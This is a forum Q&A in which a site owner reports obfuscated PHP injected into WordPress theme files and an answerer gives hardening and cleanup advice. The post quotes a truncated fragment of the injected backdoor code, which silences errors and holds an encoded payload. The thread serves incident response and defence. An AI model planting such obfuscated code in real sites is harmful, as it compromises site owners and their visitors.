Wordpress hacked and php code added [closed]

问题:

I got this code on an updated wordpress site.

Wordpress 3.3.1, and all plugins up to date.
Plugin list: custom-contact-forms, google-maps-for-wordpress & seo-ultimate.

Some theme files affected where CHMOD 644, Every time that I let a file with CHMOD 777 this start, but it will not affect only 777 files, it also affect 644 files.

The code is as follow:

<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioD............okBoVSjr = $eva1tYlbakBcVSir;} ?>

So, how can I prevent this, and what does the code do?

回答1:

No Wordpress file should ever be 777; the maximum permissions are 755 folders, 644 files. See Hardening WordPress « WordPress Codex.

Your hosting account - probably inexpensive shared hosting - is probably the hack vector. Tell your host; possibly find a more secure host. Change all passwords. Scan your own PC.

To completely clean your WP install and hosting account, see FAQ: My site was hacked « WordPress Codex and How to completely clean your hacked wordpress installation and How to find a backdoor in a hacked WordPress.